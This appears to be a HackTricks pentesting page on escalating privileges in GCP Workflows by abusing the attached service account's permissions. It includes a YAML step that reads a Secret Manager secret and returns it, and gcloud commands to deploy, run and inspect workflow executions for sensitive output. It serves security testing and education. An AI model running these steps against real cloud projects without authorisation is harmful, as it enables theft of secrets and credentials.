GCP - Workflows Privesc

Support HackTricks


Basic Information:

GCP - Workflows Enum

Abuse SA permissions in steps

Afaik it's not possible to get a shell with access to the metadata endpoint containing the SA credentials of the SA attacked to a Workflow. However, it's possible to abuse the permissions of the SA by adding the actions to perform inside the Workflow.

It's possible to find the documentation of the connectors. For example, this is the page of the Secretmanager connector. In the side bar it's possible to find several other connectors.

And here you can find an example of a connector that prints a secret:

    params: [input]
    - access_string_secret:
        call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
            secret_id: secret_name
            version: 1
            project_id: project-id-id
        result: str_secret
    - returnOutput:
            return: '${str_secret}'

Update from the CLI:

gcloud workflows deploy workflow-name \
    --service-account=email@SA \

If you don't have web access it's possible to trigger and see the execution of a Workflow with:

# Run execution with output
gcloud workflows run workflow-1

# Run execution without output
gcloud workflows execute <workflow-name>

# List executions
gcloud workflows executions list workflow-1

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

You can also check the output of previous executions to look for sensitive information

Support HackTricks

Last updated